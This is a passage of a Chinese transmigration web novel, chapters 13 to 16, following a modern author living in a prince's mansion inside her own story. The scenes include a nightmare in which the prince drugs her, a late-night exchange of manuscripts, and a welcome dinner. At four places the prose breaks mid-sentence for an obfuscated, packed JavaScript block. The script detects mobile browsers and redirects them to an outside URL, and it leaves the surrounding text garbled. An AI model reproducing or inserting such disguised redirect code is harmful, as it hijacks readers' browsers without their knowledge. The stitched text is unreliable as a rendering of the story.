“多谢殿下好意,但行走四方济世救人,才是我毕生所愿。”青玉方恭敬行礼,淡然拒绝了穆衍的提议。 “一个二个都急着要走,哎,好不容易热闹一阵,结果等到过年时又只有我一个人了。”赵昭兰仰天长叹。 江沁月拉起她的手,认真道:“昭兰姐,要不我来陪你过年吧?我们离得也没多远其实……” 赵昭兰瞧她模样认真,忍不住笑道:“不用,逗你玩的呢,我这院里是冷清了,前楼到时候可热闹着呢,不过今年我可能要回老家一趟。” 拉车的马儿打了个响鼻,长长的尾鬃不耐地甩来甩去,似乎在催着他们上路。 明明才认识不久,明明日后还会相见,江沁月的眼眶还是忍不住湿润了,她上前一步抱住了赵昭兰和青玉方。 “……这段时间,真的很谢谢你们。”你们是我在这个陌生又熟悉的世界里,感受到的第一缕善意。 马车中,江沁月与穆衍一时无言。 这辆马车的内部空间有些逼仄,不时的颠簸中,二人常会碰到彼此。 这规格对亲王来说,是不是有点太寒碜了?收拾好心情的江沁月又产生了新的疑问。 “江姑娘见谅,我的行踪暂不宜暴露,故手下人派了辆较为朴素的马车。”仿佛看穿她心中所想,穆衍解释道。 晃晃悠悠地行进了不知多久,马车终于停下了,江沁月觉得这种交通工具不太适合她这个现代人。 体验感还不如小电驴,风驰电掣四平八稳。 跳下马车后她环顾四周,他们面前的应该是王府的某个侧门,但最吸引她目光的,是不远处一座飞檐翘角的九层高楼,造型古朴典雅。 见她抬头仰望那座高楼,穆衍介绍道:“那里是久思阁,本来是皇家的藏经阁,我父王算是儒将,一向酷爱读书,陛下知他爱书惜书,便下旨将此楼赐给我父王作为藏书楼使用,还特意扩建了王府,将久思阁纳入府中。” “书坊就在久思阁旁边,也是父王他自己创办的,闲时他喜欢重印一些古籍孤本之类的…现在也尘封已久了。” “看来它马上就要重新派上用场了。”江沁月道,“我有点好奇,这浩如烟海的藏书,殿下看过其中多少呢?” 穆衍道:“以前我还挺常去那里看书的,但看过多少不好估量了。里面其实也没太多藏书,最上面几层都是空的,一二楼都是原本存放的经书。” “还有很多藏书都在楚阳的王府中收着,没来得及带到京城来。”他补充道。 “原来如此。”江沁月了然点头。 二人边说话边向王府里走去,早已候在门外的云霏笑着迎了上来:“殿下终于回来了,这位就是江姑娘吧?住处已经安排好了,我让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156643|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带您过去。” 穆衍说:“不必了,我送她过去,你们去忙各自的事吧。” 王府很大,穆衍带她从迂回曲折的游廊中穿行,冬日里天冷,也能少受些料峭寒风。 各处庭院里种着各式各样的花木,但寒冬腊月里,大部分只余光秃秃的枯枝,好在也有些常青草木平添几分生机,空气中似乎还飘散着似有似无的梅香,不知在何处凌寒绽放。 “母妃最爱各类香花,父王便让人种了许多,王府一年四季,总是芳菲满园。”暗香浮动勾起了穆衍的回忆,他的语气中带上了几分怀恋。 江沁月静静听着他介绍王府的一切,这是她也未曾着墨的空白画卷。 她感同身受穆衍的怀恋,短短几年,他先后失去了父母,高楼矗立依旧,花自盛开飘零,王府物是人非。 偏偏气味最是深入人心,花香就像打开记忆大门的钥匙,让人总想起过去。 二人在一处院落前停下脚步,穆衍说:“就是这里了,江姑娘看看,这住处合心意否?这里离书坊不远,院中还有个小偏门可以出入王府,我想会比较方便你。” 江沁月抬眼,见门上题着“清秋苑”三个大字,里面的小庭院也种有各种花木,干净又安宁,看得出来才被人精心打理过。 “多谢殿下,我觉得这里很好。”江沁月真心实意地说。 穆衍也放松地笑了起来:“那就好。另外印书的事,可能要过几日再打算,我初回王府,有许多琐事要处理,恐怕分身乏术。” 江沁月点点头:“殿下先忙,我这几天刚好可以抓紧时间完稿,再修改润色一下。” “好,那我就不陪江姑娘进去了,我已经安排了几个侍女来这边,有需要你跟她们说就好。”穆衍说完就离开了。 江沁月目送他消失在转角处,也转身进了清秋苑。 走到庭院中央时,便看见一个女孩从正屋里出来,快步走到她身边,接过了她手中的行囊。 女孩看起来比自己年纪小一些,仔细一瞧,竟长得与方才在王府门口遇见的那个少年几乎一模一样。 他们都有着深邃的眉眼,锐利的面部线条,很容易让人记住长相,江沁月猜测,他们应该是有一部分外族人的血脉。 只是那少年脸上挂着灿烂的笑容,而面前的女孩面容冷淡,一句话也没说。 “我叫江沁月,不知姑娘姓名?我在王府门口看见一个长得和你很像的少年。”江沁月主动攀谈起来。 女孩礼貌地露出一个浅笑,开口道:“我叫云霞,你见到的那个是我的孪生哥哥云霏,我们都是殿下的近身侍从,殿下让我这段时间都跟着江姑娘,主要是为了护姑娘周全。” “护我周全?是因为殿下遇刺的事吗?” 云霞道:“是,具体情况我不便多说,江姑娘也不必担忧,有我在,不可能有人伤到你。” “看来云霞姑娘武艺一定十分高强,我一万个放心。”江沁月笑着说。 这兄妹二人想必是穆衍较为亲近之人,或许可以多向她打听一下,江沁月在心中默默盘算着。 14. 浅眠惊梦心犹悸 说话间,江沁月和云霞已经走进了屋里,室内点着熏炉,比外面热和了许多,淡淡的甜香闻着十分安心。 屋子里窗明几净,家具陈设贵重考究,却不显得浮夸庸俗,和王府的整体风格一致。 “这个熏香味道好好闻。”江沁月夸道,这贵族的东西就是不一样。 “这是殿下自己调制的熏香,他说姑娘应该会喜欢,”云霞说着,忍不住叹息道,“殿下素爱用香,病了之后赋闲在家,就渐渐开始自己调香。” 可怜的古人,没有手机这种好东西,每天宅家一定很无聊。 “云霞姑娘是很早就跟在殿下身边了吗?”江沁月随口问道。 “我和哥哥是孤儿,边城环境恶劣,战乱不断,幸好先王收留了我们,教我们习武,还带我们来了京城,后来我们就跟在了殿下身边。” “殿下对我们也很好,我们一起长大,他比我们年长些,对我们时常照顾有加。仔细想想,跟着殿下也有快十年了吧。” 穆衍现在应该是二十二岁,那就是他来到京城没多久后,这兄妹二人就被他父亲带了回来。 云霞没再细说,话锋一转问起江沁月的饮食习惯,准备去吩咐厨房做午膳。 江沁月客气地表示自己不挑食,云霞便让她安心休息,也可以在王府四处逛逛。 初来乍到,四处乱跑恐怕不太好,江沁月便把行囊搬进厢房,打算整理一下。 厢房里也早已布置妥当,床上已经铺好了锦被,打开衣柜,里面整整齐齐挂着各式各样的衣裙,甚至还有御寒的狐裘披风。 梳妆台上摆着齐全的古代化妆品,然而她不太用得来,首饰盒里也是满满当当的钗环首饰。 江沁月有些受宠若惊,王府如今只有穆衍一个人在住,这些东西恐怕都是叫人这两天加紧置办的。 王府的人果然都和穆衍本人一样,温和体贴,做事周全。 不过说实在的,她不太用得来这些古代化妆品,头发倒长不短的,平日里也就随便编个辫子或者用簪子简单挽起,这些东西她都不大用得上。 眼看赵昭兰给她的那一大包衣服首饰都没地放了,她只好暂且放在一边,先把青玉方送她的瓶瓶罐罐们归置好。 大致收拾了一下,江沁月就踢掉鞋子往床上一倒,摸出手机开始噼里啪啦地打字,打算给漆桐汇报一下情况。 “我现在搬到王府了,应该更方便继续任务。关于任务的方向我似乎有些头绪,前几天我见到了女主颜桃,我感觉穆衍可能没放下她,她一说要印书,穆衍马上就跑出来答应了…难道要拆官配吗?我觉得这样不太可。” “他之前还说自己只希望随心而活,他好像已经无欲无求了,有时候我怀疑他连活下去的欲望都没有。” 漆桐难得回复得很快:“拆官配肯定不行!我跟你透露一些能说的机缘,颜桃和穆灼,他们的命运就是要成为帝后并尊,这肯定也是你能预料到的。穆衍的命星本该陨落在遇刺那天,是我家神君替他惋惜,所以才把你拉来了这里为他续写,但往后的命运,我也无法窥见,因为这本就是一片空白。” 说什么透露机缘,还不是一点忙都帮不上!江沁月觉得每次跟漆桐沟通都十分火大。 “你家神君经常这样干吗?觉得结局不如意就把作者丢到书里去,还有没有天理了?!”江沁月愤愤打字。 漆桐:“之前没跟你交代清楚,你创作一个故事,就会衍生出一个完整的世界。我家神君掌管宇宙中万千大小世界的命运,某种意义上来说,她就是天理。” 江沁月:“……” 漆桐:“我家神君也不不常这样做,这是个概率问题,你可能是撞在了枪口上。事已至此也没办法,接着说任务吧,不能拆官配的话,要不换个思路呢?比如给穆衍另外组一个CP……” 江沁月:“你以为我没想过吗?但我又不是媒婆,去哪给他牵红线?难道要我以身入局,自己去攻略他吗?” 漆桐:“这恐怕不太行,你不属于这个世界,这样很难收场……你也可以试试,毕竟你是原著作者嘛,我不干涉你的决定。” 江沁月:“试个屁!我当然知道这样不行!另寻良缘的事我会注意着的,他都二十二了,在这个时代早就该娶妻了。或许当务之急是要让他放下颜桃,但我想等颜桃与穆灼成婚,他也就该死心了。” 漆桐:“加油!看好你!” 江沁月翻了个白眼,把手机塞到了枕头下面,屋子里暖融融的,身下的床铺很软和,她不知不觉间就睡着了。 迷迷糊糊睁开眼,外面天色竟已全黑,抬眼便看见一道人影被昏黄的烛光映在墙上,随着摇曳的烛火明明灭灭。 “啊!是谁?!”江沁月惊叫出声,一骨碌爬了起来。 “是我,你醒了。”那人的声音一如既往的淡然沉静。 “……殿下?你怎么来了?”江沁月心定了几分,却依旧满腹狐疑,他不是说有事要处理吗? 穆衍撩开床帐在床边坐下,手中端着一个药碗:“你病了,快趁热先把药喝了吧。” 她…病了?是因为生病才睡了这么久吗? 江沁月看着碗中冒着热气的漆黑汤药,衬得那捧碗的修长手指显出几分苍白。 她默默接过药碗,似乎还有些烫,她便一勺一勺地小口喝了起来。 穆衍就坐在床边,耐心地看她慢慢喝药,微微低垂的睫羽在眼下投出两片阴翳,让人看不清他眼底的幽深。 好奇怪,明明眼前之人就是穆衍,为什么他给自己的感觉却…很陌生? 不知怎的,江沁月端着药碗的手突然开始有些颤抖,另一只手也连勺子都拿不住,眼看汤药就要倾洒出来之时,穆衍稳稳托住了她的双手,将药碗接了过去。 “很不舒服吗?我来喂你吧。”他的声音温和关切,却又带着蛊惑人心的力量。 江沁月被他带到了怀里,头靠在他肩上,仿佛丧失了思考的能力,麻木地一口口咽下他喂到嘴边的药。 渐渐地,不仅是双手,她的全身力气都好像被一点点抽走,大半个身体的重量都压在了穆衍身上…… 不对…不对!这药有问题!!! 江沁月猛然清醒过来,一把推开了穆衍的手,药碗打翻在地,发出清脆的碎裂声。 她挣扎着爬下床,赤脚踩在了碎瓷片上,顾不得脚底的剧痛,她撑起全身力气向外跑,双腿却软得像棉花,又重得像灌了铅,没走几步她便跌坐在地上。 江沁月心中涌起了巨大的恐惧,根本不敢回头看,她手脚并用地向外爬,脑海里只有一个念头:赶紧逃。 明明离房门不过几步之遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156644|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却怎么也过不去。江沁月听见了身后之人的脚步声不紧不慢,最后停在了她身边。 他俯身从背后拥住她,将她一把圈入自己怀里, 似是犹嫌不足,穆衍顺势席地而坐,将江沁月抱坐在自己身上,一手环住她的腰,另一只手慢条斯理地替她整理着耳边汗湿的发丝。 “滚开啊!穆衍!你放开我!”江沁月扭动着身体想要挣脱他的禁锢,但在药物的作用下,她挣扎的力度微不足道。 “阿月,受了风寒怎么不乖乖喝药?怎么还坐在这么冷的地上?”穆衍温热的吐息喷洒在她耳边,温柔地责备她不爱惜自己的身体。 耗尽了所有力气,江沁月瘫软地靠在他胸前,隔着二人轻薄的衣料,她能感受到他心脏的搏动,但他的躯体却冷得仿佛没有温度,她不由得打了个寒颤。 “阿月不是想和我在一起吗?那为什么不乖乖喝药?为什么要逃走?”他越问,江沁月越惊惧。 “我……呃……”她想说些什么,张嘴却吐不出完整的一句话,又急又怕,简直要哭出来了。 感受到怀中人的颤栗,穆衍把环在她腰间的手收得更紧。暗夜里灯火幽微,他强迫她半抬起头,却看见了她眼中的盈盈泪光。 “别哭……”穆衍将她抱得更紧了些,低头吻去她眼角的泪珠。 江沁月觉得自己像是被蟒蛇绞住的猎物,被缠绕得快要窒息。 她无力地闭上眼睛,却又模模糊糊地听见好像有人在远处唤自己。 …… “江姑娘?江姑娘?”好像是…云霞的声音? 江沁月猛地睁开眼,云霞的脸近在眼前,表情依旧冷冷淡淡,眼神中却暗含几分关切。 “啊…我不小心睡着了。”江沁月揉着脑袋坐起身,看见外面天光大亮,心中总算是舒了口气。 她转头一瞥,被吓出一身冷汗,估计是被噩梦吓得睡相不好,枕头被自己在梦里掀飞,她的手机就那么大剌剌地躺在床上。 江沁月赶紧把枕头捡回来物归原位,把手机重新藏好,也不知道云霞看见没有…… “江姑娘是做噩梦了吗?我看你方才睡得似乎不太安稳……”云霞问道。 江沁月点点头,还有些没从那个梦里缓过来。 “或许是换了新地方,睡着不太习惯。晚些我去拿些安神香来,今晚江姑娘定能好眠。”云霞十分体贴。 “对了,江姑娘带来的衣服,稍后我会让人来整理收拾。殿下前几日传信让我们准备迎接贵客,但我不知姑娘的喜好,就把现下流行的款式都买了几件来。” “多谢,”江沁月感激地笑了笑,接着话锋一转问起了穆衍的行踪。 云霞道:“我也不知道,殿下让我只管姑娘这边的事,但他这几日肯定有得忙。江姑娘若是关心印书之事,我也可以带姑娘去书坊那边。” 江沁月暗暗松了口气,她可能暂时有点不想见到穆衍。 刚才的梦让她心有余悸,那种绝望的无力感真实得令人发指。 而且梦里的穆衍跟他本人反差也太大了,明明他是最为温和良善的存在,怎么会那般偏执疯狂? 嘶…该不会是自己和漆桐乱开玩笑说要攻略他,结果遭天谴了吧? 江沁月如是想着,似乎给自己的荒诞梦境找到了一个合适的理由。 15. 各行其是夜相逢 在王府安定下来后,江沁月就立即投身于写书事业中,毕竟有原书的蓝本在,太子殿下的爱情故事很快就完结了,只待稍作修改,就可以拿到书坊去准备刻版印刷了。 一个故事完结了,就轮到新故事登场了,她这几日来几乎每天都要去邀月轩,将新写的稿子捎过去,顺便和林三商议以后的故事选题方向。 云霞专门帮她找了辆马车,每日陪她穿城往返于王府与邀月轩之间。 一开始江沁月不习惯有个人时时刻刻都跟着她,但几天下来她与云霞也熟络了几分,知道这个女孩只是脸上冷冰冰的,实际上很好相处,做起事来妥帖又麻利。 与云霞随口闲聊时,她常把话题扯到穆衍身上,想多了解她不太清楚的情况。 “云霞,殿下是还没有娶妻吧?你可知这是为何?” “江姑娘知道的,殿下之前与颜桃小姐有过婚约,后来先王与先王妃相继离世,殿下又领兵出征,就没再考虑过成亲。” “那殿下有心仪的姑娘吗?” “殿下身边少有亲近之人,更别说心仪的姑娘了。颜小姐是殿下的远房表妹,所以殿下才多关照几分。” 真是奇了,连云霞这样的亲信都不知道穆衍的心意,也给他发了“好哥哥卡”吗? 暂且按下不提,反正她这几日来再也没见过穆衍,而她也忙着来回奔波,日子过得充实且忙碌。 这让江沁月想起了在现代上班的苦逼生活,有时候她觉得,与每天快要被马车颠得骨头散架的生活相比,似乎在人潮拥挤的地铁上抢座位更轻松。 不过这里没有讨厌的同事和领导,幸甚至哉! 或许是每天白日里太过劳累,又或许是云霞取来的安神香有奇效,江沁月晚上都睡得很好,前几日的噩梦也逐渐被她抛却脑后了。 …… 处理完一些琐事后,穆衍立刻进宫见了皇帝,将遭遇刺杀后的经历如实讲述。 “臣担心遇刺之事一旦暴露,会引起更多的麻烦,这段时日并非有意欺瞒陛下,请陛下恕罪。”御书房内,穆衍跪伏在地。 “快起来吧,朕明白你的用心,怎会怪罪于你?之后朕会派人继续追查此事。”皇帝亲自将他扶起,语气中没有半分责备。 穆衍道:“西辽那边肯定知道了臣受伤病重的消息,臣担心他们会另有动作。” “短时间内应该不会,之前几次战役西辽惨遭重创,他们急需休养生息。”说到这,皇帝重重地叹了口气,“然我大梁亦折损不少,且朝中将才凋敝,你又不能再……” 皇帝治国有方,是个勤勉的好皇帝,但西辽野心勃勃,边陲之地始终不太平,他日夜忧思,才过不惑之年就已斑白了双鬓。 “陛下如若需要,臣定肝脑涂地,万死不辞。” 皇帝闻言有些不悦:“别说这样的话,衍儿。你父亲的早逝令朕痛心不已,他走后,朕便将你当作自己的亲儿子来对待,你要好好活下去。” 他话锋一转,缓和几分语气,关心起穆衍的身体:“伤口好全了吗?你也真是的,在府中多休养些时日再入宫禀报也不迟。” “谢陛下关心,臣已无大碍。” “朕明日派太医去你府上再诊治一下吧,还有你的心疾,也需要好好调养。” 皇帝将穆衍带来的那柄卷刃短剑拔出鞘:“可惜了,礼剑实在华而不实,与其淬上毒药,不如本身就是一把利剑。朕会让最好的工匠重铸此剑,让它足够锋利,才能与衍儿相配。” “多谢陛下。” 皇宫里只能步行,从御书房出来后,穆衍不疾不徐地走在狭长的宫道上。 他的事务处理得差不多了,不知道江沁月这几天都在忙些什么? 回到王府时夜幕已经降临,穆衍直接去了清秋苑,但没看到江沁月的人影。 “殿下怎么来了?”云霞看见他有些讶异。 “事情忙完了,江姑娘不在吗?” “江姑娘从小门出去了,这几日晚上她经常出去……”云霞的神情有些古怪,似乎还有话要说。 穆衍抬手制止:“有什么情况,你后面再跟我说,我先出去看看。” 他刚一踏出小门,就看见离得不远的拐角处,江沁月在与一个人说些什么。 那人站在墙角的阴影下,看不清面容,只看得出是个年轻男子。 说笑几句后,江沁月便把什么东西塞到了他手里,二人分道扬镳。那人不见了踪影,江沁月也往回走来。 穆衍退回门后,默然垂眸,眉心微蹙,眼神晦暗不明。 “刚才那个人是谁?你给了他什么东西?”江沁月正回身关门,将门闩插好,就听见一道熟悉又冷淡的声音在头顶响起。 “卧槽!”江沁月当然想不到穆衍会突然出现在自己身后,被吓了一大跳。 她转身面向穆衍,他身上的墨色斗篷几乎与夜色融为一体,上面的毛领轻轻扫过她的鼻尖。 离得太近了,但她的后背紧贴着冰冷的门板,已然退无可退。 江沁月本想向旁边挪一步,穆衍却按住了她的肩膀:“江姑娘,先回答本王。” 那只落在她肩上的手其实并没用太大的力气,却牢牢地桎梏着她,让江沁月又想起了那个快要忘记的噩梦。 “殿下大概是误会了,刚才那人你也认识的,就是说书的妙语花啦……他来找我拿稿子。”她连忙解释道。 穆衍依旧没有放手,神情看起来比往日里冷峻几分。江沁月抿抿唇,将事情的经过原原本本讲了一遍。 都怪林三!这还得从前几日说起。 是夜,江沁月独坐灯下,本想接着写稿,却开始在纸上摸鱼画王八。 “吱呀”一声,半掩的窗户被人推开,随即一道黑影翻入,这人的动作拖泥带水,落地也算不上轻盈。 江沁月正欲大声喊人,让云霞来逮住这不速之客,却听见那人先出了声。 “是我!别把人喊来了!” 江沁月惊诧地瞪大了双眼:“…林三?!你跑王府来干什么?还这么不走寻常路?” 王府中的下人并不是很多,入夜后,府中总是一片清静,但这样看来,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156645|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是需要加强一下安保…… “专门来看看你呀,看你在王府过得好不好。”林三笑嘻嘻道,此刻他没戴面具,上挑的双眼微微眯起,让他看起来更像一只笑眯眯的狐狸。 “王府又不是菜市场,你这样胡来,被人抓住了怎么办?”江沁月蹙眉道,“到底有什么事?” 虽然林三一向想一出是一出,但也不会这般没事找事。 林三走到她案边,拿起她已经写完整理好的一叠稿纸晃了晃:“我是来拿这个的。” “王府离邀月轩甚远,你每日来回跑太辛苦了,我反正也住这边,以后我回去的时候,顺便来你这拿就好了。” “你住这附近?那你岂不是也很辛苦?” “我习惯了。”林三耸了耸肩,“今日恰好路过,突然就想出这么个好法子。” “那多谢了,”江沁月虽感激,也不忘严肃叮嘱道,“你隔几日来取一次就好,还有,不要翻墙了。” 于是便商量好,林三来时在外面学三声鸟叫,她便把稿子从小门带给他。 “江姑娘,热水已备好,可以沐浴更衣了。” 一切谈妥,江沁月准备送他从小门离开,却听见云霞的声音自院中传来。 “我翻墙走。”林三果断地从刚才进来的窗子翻了出去,动作却一点都不利落。 江沁月心焦地看他不甚熟练地翻上院墙,在云霞进入房间的同时,他的身影消失在墙头。 …… “殿下,他这人就是没个正形,以后不会再这样了……请不要降罪于他。”江沁月小心翼翼地说。 “妙语花,他的真实身份,江姑娘可否告知?”穆衍松开了禁锢着她肩膀的手。 江沁月没有马上接话。 穆衍叹了口气,接着道:“实不相瞒,之前围杀我的刺客,有一个漏网之鱼仍逃窜在外,所以,任何靠进王府的可疑之人,都不能放过。” “即便你不说,我也自会去查。”他语气坚定,不容置喙。 “殿下,我之前答应过他要替他保密,所以不会背叛对朋友的承诺,而且他不可能是刺客的……” 江沁月试图替林三说话,抬眼却看见穆衍冷淡漠然的神情,漆黑如墨的双眼比夜色更幽深。 她噤若寒蝉,默了片刻后低声道:“那殿下自己去查吧,若是查明他的身份,且证实他与刺杀之事无关,还请殿下也为他的身份保密。” “好。”穆衍点头答应,缓和了几分语气道,“差点忘了,我今日来是想请江姑娘明日一同用晚膳,也算是接风宴吧。” “殿下的事情忙完了吗?”江沁月顿时有些紧张,不知道这古代宴席的规矩如何?这还是在王府,会不会更为讲究? “江姑娘不必忧虑,说是宴会,其实也就你我而已,王府中没有旁人了。”穆衍看出了她的不自在,温言宽慰道,“你是王府的贵客,我这做主人的却没能好好招待,如今忙完了,自然要尽待客之道。” “那我就恭敬不如从命,多谢殿下了。”话都说到这个份上了,江沁月便答应了下来。 16. 暖香佳肴安人心 江沁月早早地熄了烛火躺上床,却翻来覆去地有些睡不着。 她不是傻子,今日穆衍一说刺客还未落网,她便想通了一切。 穆衍之前肯定就对自己的身份有疑虑,说不定还怀疑她是西辽奸细。 邀请她到王府做客,又派云霞到她这里来,看似保护她,实则是为了监视。 江沁月自然是不做亏心事,不怕鬼敲门。结果林三又来瞎搅和一通,让她显得尤为可疑起来。 目前看来,穆衍应该会先去查林三的底细,江沁月相信自己的直觉,林三虽然身份存疑,但绝不是什么坏人。 但若是后面接着查她的话……其实也没什么,能查到什么东西才是见鬼了。 夜已深,书房里依然灯火通明,云霏正陪着穆衍下棋,但眼前殿下的心思似乎并不在棋局上。 “殿下若是实在不放心,不如派人去益州查一下?诶?阿霞你来了……”云霏看见自家妹妹来了,招呼了一句便打算接着絮叨。 云霞抢先开口打断了他的叽叽喳喳:“殿下,我来汇报一下江姑娘这几日的情况。” 穆衍点点头,将手中棋子掷回盒中,示意她接着说。 “江姑娘这几日只往来于王府和邀月轩之间,其余时间大多在写书看书,并无可疑之处——除了今日殿下也看到了的那位公子。” “他前几日翻墙进王府找了江姑娘,属下听他们的对话,他说只是来拿稿子。” 这倒是与江沁月所说能对上,穆衍道:“去查一下那人究竟什么身份。” “属下已经查清楚了,”云霞瞥了兄长一眼,犹豫了一下,还是附在穆衍耳边低声说了一个名字。 对面的云霏颇为不满:“什么意思?我不能知道吗?” “你话太多,还是暂时不要知道为好。”云霞淡淡道。 “目前看来,二人确无通敌之嫌,但我认为那位江姑娘的身份来历,没有那么简单。”穆衍眉心微蹙。 云霞深以为然,接着道:“另外,江姑娘刚来的时候,在睡梦中喊了殿下的名字。属下还看见她有一块奇怪的黑色方板,以前从未见过相似之物。” 说着她还比划了一下那东西的形状大小,穆衍和云霏自然也没见过。 “在梦里喊殿下的名字,莫不是对殿下……”云霏若有所思,旋即恍然大悟般提议道:“殿下对江姑娘似乎也很感兴趣?不如直接将她纳为妾室好了。” “江姑娘那日是遭了梦魇,云霏你胡说八道些什么?”不等穆衍开口,云霞便厉声斥责道,“殿下再三交代过,江姑娘于他有救命之恩,是王府的贵客,你怎可说出这般无礼的话?” “你那么凶干嘛?我只是提出合理的猜测与建议而已。”云霏不服气道。 云霞懒得理他,从袖中抽出一张叠得四四方方的纸交给穆衍:“殿下明晚要宴请贵客,这上面写了江姑娘的口味偏好。” “有心了,你就先继续跟在江姑娘那边吧,”穆衍接过那张纸,“云霞做事一向妥帖周全。” 云霏讪笑了一声,感觉殿下这话意有所指。 “云霏,说话前多过过脑子。”穆衍还是敲打了他。 …… “江姑娘,今日需要帮忙梳妆吗?” 江沁月不习惯被人伺候,每日洗漱梳妆都自己来,但云霞每天清晨都会来问上一句。 今晚要和穆衍一起用膳,既然是接风宴,或许还是打扮得正式些比较好? 半个时辰后,江沁月坐在妆台前,对着铜镜左照右照,对自己的新造型感到十分新奇。 “江姑娘不喜欢这身打扮吗?要不要重新换一套?”云霞问道。 “我很喜欢!就是还不太习惯……” 江沁月望着镜中的自己,高高盘起的发髻上点缀着不少宝石珠钗,沉重得让她转头都颇为吃力。清秀的脸庞上薄施粉黛,更显出几分艳色。 “云霞,你手艺真好。”她夸赞道,这妆造能力放在现代,高低也能当个美妆博主了。 “以前跟服侍先王妃的嬷嬷们学的。”云霞浅笑道,神色里难掩被认可的雀跃。 转眼间便到了晚膳时分,江沁月如约来到了穆衍居住的梧桐苑。这里与她住的清秋苑分别在王府东西两端,得走上挺长一段距离。 步入正厅,只见满满一桌佳肴,热菜都放在小炉上温着,却并未瞧见穆衍人影。 “想着既然是你我二人相聚,我就设宴在自己院中了,这样也省得拘束。”穆衍从外面走了进来,步履间衣袍上的环佩相击,撞出清脆的响声。 江沁月闻声回头,一下子看呆了眼。 几日不见,昨晚夜色深沉,他整个人又裹在黑色斗篷中,让人看不太清。而今日他打扮得颇为用心,头上束着宝石金冠,身穿绣有金色云纹的月白色常服,腰间悬着香囊玉佩,看起来华丽却不显庸俗。 之前暂居在邀月轩时,穆衍总穿的是赵昭兰替他找来的几身简单素净的衣服。但他本就生得极为好看,如今一袭华冠丽服,更衬得姿容惊为天人,一进门仿佛屋子里都亮堂了三分。 “昨晚情急之下有些失礼,是我的不是,还请江姑娘见谅。”见她愣愣地看着自己不说话,穆衍以为是昨晚的事吓到了她, 江沁月回过神来,摇摇头道:“没事的,我也希望殿下可以早日抓到刺客安下心来。” “我刚刚是在想,殿下今日的衣装很衬人,更显玉树临风之姿。”她想了想,还是没忍住诚实又直白地夸赞道。 穆衍闻言笑道:“江姑娘今日也很好看。别站着说话了,先快些入座吧。” 二人步入席间落座,穆衍从江沁月身侧经过时,带过一阵香风,与室内燃着的暖香不同,他身上的香气清冷淡雅,还带着几分馥郁的花香。 江沁月莫名感到有些脸热。 “殿下用的熏香都是自己调制的吗?”这问得似乎有些突兀,江沁月连忙解释道,“之前听云霞说,殿下素爱用香,还会亲自调香。” “以前不常调香,病了之后闲着也是无趣,就自己琢磨了些香道。”穆衍说,“我不喜欢屋子里满是药味,连带着身上都被腌入了味,便想着以香掩盖,所以用香也更讲究了些。” “今日这屋里点的是我自己制作的合香,我的衣服都用特制的香方熏过,香囊也会定期更换,我一般喜欢在里面放一些干香花。”穆衍继续分享着自己的用香心得。 好精致,好讲究。江沁月不由得猛嗅了两下这满室芬芳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156646|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “之前云霞拿去的安神香,江姑娘可还用得惯?平时有什么需要的,尽管开口跟她提。”穆衍突然想起前几日云霞来讨过安神香,便关切地多问了两句。 “多谢殿下,这几天我都睡得挺好的。”江沁月话音刚落,肚子就不争气地发出咕咕响声,她涨红了脸,只能咳嗽两声以掩饰尴尬。 穆衍适时道:“再不动筷饭菜就要凉掉了,我们边吃边聊。” 江沁月举箸跃跃欲试,她口味重,最喜各种重油重盐鲜香麻辣的菜式,这一大桌菜色香味俱全,令人食指大动。 “王府的厨子手艺自是比不上赵老板,江姑娘就当尝个新鲜。”穆衍道。 “王府的膳食也很好吃,这几日我都没吃过重样的菜。”江沁月笑眯眯道,人因美食而心满意足。 谢天谢地,作为架空世界的大梁已经拥有了辣椒等一系列食材香料以及丰富的烹饪手法,能很好地满足口腹之欲。 “年关将至,关于印书的事,我们恐怕需要加紧些。”穆衍提起了正事。 江沁月点头道:“书稿我已经修好了,随时可以拿去印刻。” “那明日一同去书坊吧,我把淑瑶叫来,一起商量选用的纸品之类的。书册什么时候发行,也需要她来定夺。” “那是否需要请人来画书中插图呢?全是文字未免太过死板。”江沁月道。 